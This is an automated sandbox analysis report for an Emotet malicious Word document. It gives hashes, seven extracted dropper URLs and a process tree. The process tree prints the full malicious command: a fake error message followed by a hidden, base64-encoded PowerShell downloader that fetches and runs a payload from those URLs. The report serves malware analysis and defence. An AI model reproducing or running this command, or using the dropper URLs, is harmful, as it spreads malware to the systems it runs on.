Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    4s
  • max time network
    31s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    05/01/2021, 10:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_c75b4b70cd15049f7ee36dd2858420d2d50190ce84c48d380f3ff2bae4e36c47_2021-01-05__100541227926._doc.doc
  • Size 164KB
  • Sample210105-stclc5bab6
  • SHA256 c75b4b70cd15049f7ee36dd2858420d2d50190ce84c48d380f3ff2bae4e36c47
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://slimfitcaps.com/wp-content/iLkG5/
  • exe.dropper

    http://singaedental.vn/wp-content/lQ/
  • exe.dropper

    http://izitienda.com/content/h9b/
  • exe.dropper

    http://frontechonline.com/downloads/D/
  • exe.dropper

    http://contactscorporation.com/wp-content/W3/
  • exe.dropper

    https://indopakgroceries.com/cgi-bin/S/
  • exe.dropper

    http://complianceceo.com/wp-content/OX/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_c75b4b70cd15049f7ee36dd2858420d2d50190ce84c48d380f3ff2bae4e36c47_2021-01-05__100541227926._doc.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4800
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAdgAgACgAIgBKACIAKwAiAFMAZgBhADUAIgApACAAIAAoACAAWwBUAHkAUABlAF0AKAAiAHsAMwB9AHsAMQB9AHsAMAB9AHsAMgB9AHsANAB9AHsANQB9ACIAIAAtAEYAJwBPACcALAAnAHMAVABFAE0ALgBpACcALAAnAC4ARABJACcALAAnAFMAeQAnACwAJwBSACcALAAnAGUAQwBUAG8AUgB5ACcAKQAgACkAIAA7ACAAIABzAHYAIAAgACgAIgB6ACIAKwAiAFAATgAxAEEAIgApACAAKABbAHQAWQBQAGUAXQAoACIAewAyAH0AewAxAH0AewA2AH0AewA0AH0AewAwAH0AewA1AH0AewAzAH0AewA3AH0AIgAgAC0AZgAgACcAaQBjAEUAcABPACcALAAnAGUATQAuAG4AZQBUACcALAAnAHMAeQBzAFQAJwAsACcATQBBAG4AJwAsACcAVgAnACwAJwBJAG4AdAAnACwAJwAuAFMARQBSACcALAAnAEEAZwBFAHIAJwApACAAIAApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwApACsAKAAnAHQAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAbgAnACkAKwAnAHUAZQAnACkAOwAkAFMAagBnAGIAYgBjADAAPQAkAEQAMABfAEMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4ANgBfAEgAOwAkAEUANgAyAFoAPQAoACcATwAzACcAKwAnADEATQAnACkAOwAgACQAagBTAGYAQQA1ADoAOgAiAEMAcgBFAGAAQQBUAGUAZABJAGAAUgBFAGMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBYACcAKwAnAE8AawAnACkAKwAoACcATQBvAF8AdgBnAHQAZABYAE8AJwArACcAawAnACsAJwBBADEAJwApACsAJwAzACcAKwAnAG8AagAnACsAKAAnAF8AcwAnACsAJwBYAE8AawAnACkAKQAgACAALQBjAHIAZQBwAEwAQQBDAGUAIAAoACcAWAAnACsAJwBPAGsAJwApACwAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgAyADUAUAA9ACgAJwBFADYAJwArACcAXwBTACcAKQA7ACAAKAAgAEcAYwBpACAAKAAnAHYAQQAnACsAJwBSAGkAQQBCACcAKwAnAEwAZQA6ACcAKwAnAFoAcABOADEAYQAnACkAIAAgACkALgBWAGEAbABVAEUAOgA6ACIAcwBgAEUAYABjAHUAYABSAEkAVABZAHAAcgBvAGAAVABPAEMAbwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQApADsAJABBADkAOQBNAD0AKAAnAEUAJwArACgAJwAyADAAJwArACcAUgAnACkAKQA7ACQARAA0AHoAcwB6AHIAYwAgAD0AIAAoACgAJwBZACcAKwAnADEANAAnACkAKwAnAEsAJwApADsAJABRADQAMQBYAD0AKAAnAEUAMwAnACsAJwA2AFQAJwApADsAJABRAGgANAAwAGUAbQB6AD0AJABIAE8ATQBFACsAKAAoACcAdwBFACcAKwAnAHEAJwArACgAJwBNACcAKwAnAG8AXwAnACkAKwAnAHYAJwArACgAJwBnAHQAJwArACcAZAB3ACcAKQArACgAJwBFACcAKwAnAHEAQQAnACkAKwAoACcAMQAzACcAKwAnAG8AJwArACcAagBfAHMAdwBFAHEAJwApACkALgAiAHIAYABlAHAAbABgAEEAYwBlACIAKAAoACcAdwBFACcAKwAnAHEAJwApACwAJwBcACcAKQApACsAJABEADQAegBzAHoAcgBjACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAQQA2ADQASgA9ACgAJwBBACcAKwAoACcANgAnACsAJwAzAFEAJwApACkAOwAkAEIANQBwAGMANwAzAGEAPQAoACgAJwBdAGEAJwArACcAbgB3AFsAMwBzADoAJwArACcALwAvAHMAbAAnACkAKwAoACcAaQAnACsAJwBtAGYAJwApACsAJwBpAHQAJwArACcAYwBhACcAKwAnAHAAJwArACgAJwBzAC4AYwAnACsAJwBvAG0ALwB3AHAAJwApACsAKAAnAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAnACkAKwAoACcALwBpAEwAawBHADUAJwArACcALwAnACsAJwBAAF0AJwArACcAYQBuAHcAWwAnACsAJwAzACcAKQArACgAJwA6AC8ALwAnACsAJwBzAGkAbgAnACsAJwBnAGEAZQAnACsAJwBkACcAKQArACgAJwBlAG4AJwArACcAdABhAGwALgAnACkAKwAoACcAdgBuAC8AJwArACcAdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AdAAnACkAKwAoACcALwAnACsAJwBsAFEALwBAACcAKwAnAF0AYQAnACkAKwAoACcAbgB3ACcAKwAnAFsAMwAnACkAKwAoACcAOgAvAC8AaQB6AGkAJwArACcAdAAnACsAJwBpACcAKQArACcAZQAnACsAJwBuAGQAJwArACcAYQAuACcAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAYwBvAG4AdABlACcAKQArACcAbgAnACsAJwB0AC8AJwArACcAaAAnACsAKAAnADkAYgAvAEAAXQAnACsAJwBhAG4AdwBbADMAOgAnACsAJwAvAC8AZgAnACkAKwAoACcAcgAnACsAJwBvAG4AdABlAGMAJwArACcAaABvAG4AJwArACcAbABpACcAKwAnAG4AZQAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvAGQAbwAnACsAJwB3ACcAKwAnAG4AbABvACcAKQArACgAJwBhAGQAcwAvAEQAJwArACcALwAnACkAKwAoACcAQABdACcAKwAnAGEAbgAnACsAJwB3AFsAMwA6AC8ALwBjACcAKQArACgAJwBvAG4AJwArACcAdAAnACkAKwAoACcAYQBjACcAKwAnAHQAJwArACcAcwBjAG8AJwApACsAJwByACcAKwAnAHAAJwArACgAJwBvACcAKwAnAHIAYQAnACkAKwAnAHQAJwArACgAJwBpAG8AbgAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtACcAKQArACcAYwBvACcAKwAoACcAbgB0AGUAbgB0ACcAKwAnAC8AVwAzACcAKwAnAC8AJwArACcAQABdAGEAJwApACsAKAAnAG4AJwArACcAdwBbADMAJwApACsAJwBzACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AaQBuAGQAbwAnACsAJwBwACcAKwAnAGEAawBnAHIAbwAnACkAKwAoACcAYwBlACcAKwAnAHIAaQBlAHMALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACsAJwBjAGcAaQAtAGIAaQBuACcAKQArACgAJwAvAFMALwAnACsAJwBAACcAKQArACcAXQBhACcAKwAoACcAbgB3ACcAKwAnAFsAMwA6AC8ALwAnACsAJwBjAG8AbQAnACsAJwBwAGwAJwApACsAKAAnAGkAYQAnACsAJwBuAGMAZQBjAGUAJwArACcAbwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AYwBvACcAKQArACgAJwBuACcAKwAnAHQAJwArACcAZQBuAHQALwAnACkAKwAnAE8AWAAnACsAJwAvACcAKQAuACIAcgBgAEUAYABQAEwAQQBDAGUAIgAoACgAKAAnAF0AJwArACcAYQBuACcAKQArACgAJwB3AFsAJwArACcAMwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBwAGAAbABpAHQAIgAoACQATAA4ADgAQQAgACsAIAAkAFMAagBnAGIAYgBjADAAIAArACAAJABMADUANQBPACkAOwAkAEgAOQBfAEcAPQAoACgAJwBWACcAKwAnADUAMQAnACkAKwAnAE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABLAG0AYQA3ADEAbQBhACAAaQBuACAAJABCADUAcABjADcAMwBhACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUATQAuAG4ARQB0AC4AVwBlAEIAYwBsAGkAZQBuAFQAKQAuACIAZABPAFcATgBgAEwAYABPAGEAYABEAGYAaQBsAGUAIgAoACQASwBtAGEANwAxAG0AYQAsACAAJABRAGgANAAwAGUAbQB6ACkAOwAkAFUAMwBfAEQAPQAoACcAUgAnACsAKAAnADkAJwArACcANgBUACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFEAaAA0ADAAZQBtAHoAKQAuACIATABgAEUATgBgAGcAVABIACIAIAAtAGcAZQAgADQAOAAxADkAMgApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAGgANAAwAGUAbQB6ACwAKAAnAEMAJwArACgAJwBvAG4AdAAnACsAJwByAG8AJwArACcAbABfAFIAdQBuAEQATAAnACkAKwAnAEwAJwApAC4AIgB0AG8AUwB0AGAAUgBgAEkATgBnACIAKAApADsAJABWADgAOABZAD0AKAAnAFIAJwArACgAJwAxACcAKwAnADQAVAAnACkAKQA7AGIAcgBlAGEAawA7ACQAVgBfAF8AQQA9ACgAJwBOACcAKwAoACcAMQAnACsAJwA0AEMAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQAyAFkAPQAoACgAJwBTADYAJwArACcAMgAnACkAKwAnAFkAJwApAA==
    1⤵
    • Process spawned unexpected child process
    PID:4300
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:3192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAgAHMAdgAgACgAIgBKACIAKwAiAFMAZgBhADUAIgApACAAIAAoACAAWwBUAHkAUABlAF0AKAAiAHsAMwB9AHsAMQB9AHsAMAB9AHsAMgB9AHsANAB9AHsANQB9ACIAIAAtAEYAJwBPACcALAAnAHMAVABFAE0ALgBpACcALAAnAC4ARABJACcALAAnAFMAeQAnACwAJwBSACcALAAnAGUAQwBUAG8AUgB5ACcAKQAgACkAIAA7ACAAIABzAHYAIAAgACgAIgB6ACIAKwAiAFAATgAxAEEAIgApACAAKABbAHQAWQBQAGUAXQAoACIAewAyAH0AewAxAH0AewA2AH0AewA0AH0AewAwAH0AewA1AH0AewAzAH0AewA3AH0AIgAgAC0AZgAgACcAaQBjAEUAcABPACcALAAnAGUATQAuAG4AZQBUACcALAAnAHMAeQBzAFQAJwAsACcATQBBAG4AJwAsACcAVgAnACwAJwBJAG4AdAAnACwAJwAuAFMARQBSACcALAAnAEEAZwBFAHIAJwApACAAIAApADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACcAUwAnACsAKAAnAGkAbABlACcAKwAnAG4AJwApACsAKAAnAHQAbAAnACsAJwB5AEMAJwApACsAKAAnAG8AJwArACcAbgB0AGkAbgAnACkAKwAnAHUAZQAnACkAOwAkAFMAagBnAGIAYgBjADAAPQAkAEQAMABfAEMAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE4ANgBfAEgAOwAkAEUANgAyAFoAPQAoACcATwAzACcAKwAnADEATQAnACkAOwAgACQAagBTAGYAQQA1ADoAOgAiAEMAcgBFAGAAQQBUAGUAZABJAGAAUgBFAGMAdABvAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBYACcAKwAnAE8AawAnACkAKwAoACcATQBvAF8AdgBnAHQAZABYAE8AJwArACcAawAnACsAJwBBADEAJwApACsAJwAzACcAKwAnAG8AagAnACsAKAAnAF8AcwAnACsAJwBYAE8AawAnACkAKQAgACAALQBjAHIAZQBwAEwAQQBDAGUAIAAoACcAWAAnACsAJwBPAGsAJwApACwAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgAyADUAUAA9ACgAJwBFADYAJwArACcAXwBTACcAKQA7ACAAKAAgAEcAYwBpACAAKAAnAHYAQQAnACsAJwBSAGkAQQBCACcAKwAnAEwAZQA6ACcAKwAnAFoAcABOADEAYQAnACkAIAAgACkALgBWAGEAbABVAEUAOgA6ACIAcwBgAEUAYABjAHUAYABSAEkAVABZAHAAcgBvAGAAVABPAEMAbwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAJwArACcAMQAyACcAKQApADsAJABBADkAOQBNAD0AKAAnAEUAJwArACgAJwAyADAAJwArACcAUgAnACkAKQA7ACQARAA0AHoAcwB6AHIAYwAgAD0AIAAoACgAJwBZACcAKwAnADEANAAnACkAKwAnAEsAJwApADsAJABRADQAMQBYAD0AKAAnAEUAMwAnACsAJwA2AFQAJwApADsAJABRAGgANAAwAGUAbQB6AD0AJABIAE8ATQBFACsAKAAoACcAdwBFACcAKwAnAHEAJwArACgAJwBNACcAKwAnAG8AXwAnACkAKwAnAHYAJwArACgAJwBnAHQAJwArACcAZAB3ACcAKQArACgAJwBFACcAKwAnAHEAQQAnACkAKwAoACcAMQAzACcAKwAnAG8AJwArACcAagBfAHMAdwBFAHEAJwApACkALgAiAHIAYABlAHAAbABgAEEAYwBlACIAKAAoACcAdwBFACcAKwAnAHEAJwApACwAJwBcACcAKQApACsAJABEADQAegBzAHoAcgBjACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAQQA2ADQASgA9ACgAJwBBACcAKwAoACcANgAnACsAJwAzAFEAJwApACkAOwAkAEIANQBwAGMANwAzAGEAPQAoACgAJwBdAGEAJwArACcAbgB3AFsAMwBzADoAJwArACcALwAvAHMAbAAnACkAKwAoACcAaQAnACsAJwBtAGYAJwApACsAJwBpAHQAJwArACcAYwBhACcAKwAnAHAAJwArACgAJwBzAC4AYwAnACsAJwBvAG0ALwB3AHAAJwApACsAKAAnAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAnACkAKwAoACcALwBpAEwAawBHADUAJwArACcALwAnACsAJwBAAF0AJwArACcAYQBuAHcAWwAnACsAJwAzACcAKQArACgAJwA6AC8ALwAnACsAJwBzAGkAbgAnACsAJwBnAGEAZQAnACsAJwBkACcAKQArACgAJwBlAG4AJwArACcAdABhAGwALgAnACkAKwAoACcAdgBuAC8AJwArACcAdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AdAAnACkAKwAoACcALwAnACsAJwBsAFEALwBAACcAKwAnAF0AYQAnACkAKwAoACcAbgB3ACcAKwAnAFsAMwAnACkAKwAoACcAOgAvAC8AaQB6AGkAJwArACcAdAAnACsAJwBpACcAKQArACcAZQAnACsAJwBuAGQAJwArACcAYQAuACcAKwAoACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAYwBvAG4AdABlACcAKQArACcAbgAnACsAJwB0AC8AJwArACcAaAAnACsAKAAnADkAYgAvAEAAXQAnACsAJwBhAG4AdwBbADMAOgAnACsAJwAvAC8AZgAnACkAKwAoACcAcgAnACsAJwBvAG4AdABlAGMAJwArACcAaABvAG4AJwArACcAbABpACcAKwAnAG4AZQAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvAGQAbwAnACsAJwB3ACcAKwAnAG4AbABvACcAKQArACgAJwBhAGQAcwAvAEQAJwArACcALwAnACkAKwAoACcAQABdACcAKwAnAGEAbgAnACsAJwB3AFsAMwA6AC8ALwBjACcAKQArACgAJwBvAG4AJwArACcAdAAnACkAKwAoACcAYQBjACcAKwAnAHQAJwArACcAcwBjAG8AJwApACsAJwByACcAKwAnAHAAJwArACgAJwBvACcAKwAnAHIAYQAnACkAKwAnAHQAJwArACgAJwBpAG8AbgAuAGMAbwAnACsAJwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtACcAKQArACcAYwBvACcAKwAoACcAbgB0AGUAbgB0ACcAKwAnAC8AVwAzACcAKwAnAC8AJwArACcAQABdAGEAJwApACsAKAAnAG4AJwArACcAdwBbADMAJwApACsAJwBzACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AaQBuAGQAbwAnACsAJwBwACcAKwAnAGEAawBnAHIAbwAnACkAKwAoACcAYwBlACcAKwAnAHIAaQBlAHMALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALwAnACsAJwBjAGcAaQAtAGIAaQBuACcAKQArACgAJwAvAFMALwAnACsAJwBAACcAKQArACcAXQBhACcAKwAoACcAbgB3ACcAKwAnAFsAMwA6AC8ALwAnACsAJwBjAG8AbQAnACsAJwBwAGwAJwApACsAKAAnAGkAYQAnACsAJwBuAGMAZQBjAGUAJwArACcAbwAuACcAKwAnAGMAbwAnACsAJwBtAC8AJwArACcAdwBwAC0AYwBvACcAKQArACgAJwBuACcAKwAnAHQAJwArACcAZQBuAHQALwAnACkAKwAnAE8AWAAnACsAJwAvACcAKQAuACIAcgBgAEUAYABQAEwAQQBDAGUAIgAoACgAKAAnAF0AJwArACcAYQBuACcAKQArACgAJwB3AFsAJwArACcAMwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkALAAnADMAZAAnACkAWwAxAF0AKQAuACIAcwBwAGAAbABpAHQAIgAoACQATAA4ADgAQQAgACsAIAAkAFMAagBnAGIAYgBjADAAIAArACAAJABMADUANQBPACkAOwAkAEgAOQBfAEcAPQAoACgAJwBWACcAKwAnADUAMQAnACkAKwAnAE0AJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABLAG0AYQA3ADEAbQBhACAAaQBuACAAJABCADUAcABjADcAMwBhACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAHkAUwB0AGUATQAuAG4ARQB0AC4AVwBlAEIAYwBsAGkAZQBuAFQAKQAuACIAZABPAFcATgBgAEwAYABPAGEAYABEAGYAaQBsAGUAIgAoACQASwBtAGEANwAxAG0AYQAsACAAJABRAGgANAAwAGUAbQB6ACkAOwAkAFUAMwBfAEQAPQAoACcAUgAnACsAKAAnADkAJwArACcANgBUACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAFEAaAA0ADAAZQBtAHoAKQAuACIATABgAEUATgBgAGcAVABIACIAIAAtAGcAZQAgADQAOAAxADkAMgApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABRAGgANAAwAGUAbQB6ACwAKAAnAEMAJwArACgAJwBvAG4AdAAnACsAJwByAG8AJwArACcAbABfAFIAdQBuAEQATAAnACkAKwAnAEwAJwApAC4AIgB0AG8AUwB0AGAAUgBgAEkATgBnACIAKAApADsAJABWADgAOABZAD0AKAAnAFIAJwArACgAJwAxACcAKwAnADQAVAAnACkAKQA7AGIAcgBlAGEAawA7ACQAVgBfAF8AQQA9ACgAJwBOACcAKwAoACcAMQAnACsAJwA0AEMAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEsAOQAyAFkAPQAoACgAJwBTADYAJwArACcAMgAnACkAKwAnAFkAJwApAA==
        2⤵
          PID:596

      Network

            MITRE ATT&CK Matrix

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/596-5-0x00007FFA55980000-0x00007FFA5636C000-memory.dmp
            Download

            memory/596-6-0x000001CE6F780000-0x000001CE6F781000-memory.dmp
            Download

            memory/596-7-0x000001CE6FB00000-0x000001CE6FB01000-memory.dmp
            Download

            memory/4800-2-0x0000022B1A240000-0x0000022B1A877000-memory.dmp
            Download